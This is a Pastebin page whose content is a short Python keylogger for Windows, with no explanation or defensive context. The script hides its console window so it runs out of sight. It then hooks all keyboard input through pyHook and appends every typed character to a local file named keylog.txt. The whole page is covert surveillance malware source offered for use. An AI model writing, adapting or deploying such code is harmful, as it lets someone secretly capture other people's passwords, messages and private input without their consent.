Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyHook
- import pythoncom
- import win32gui
- import win32console
- log_file='keylog.txt'
- window=win32console.GetConsoleWindow()
- win32gui.ShowWindow(window,0)
- def pressed_chars(event):
- if event.Ascii:
- f=open(log_file,'a')
- char=chr(event.Ascii)
- f.write(char)
- proc = pyHook.HookManager()
- proc.KeyDown = pressed_chars
- proc.HookKeyboard()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment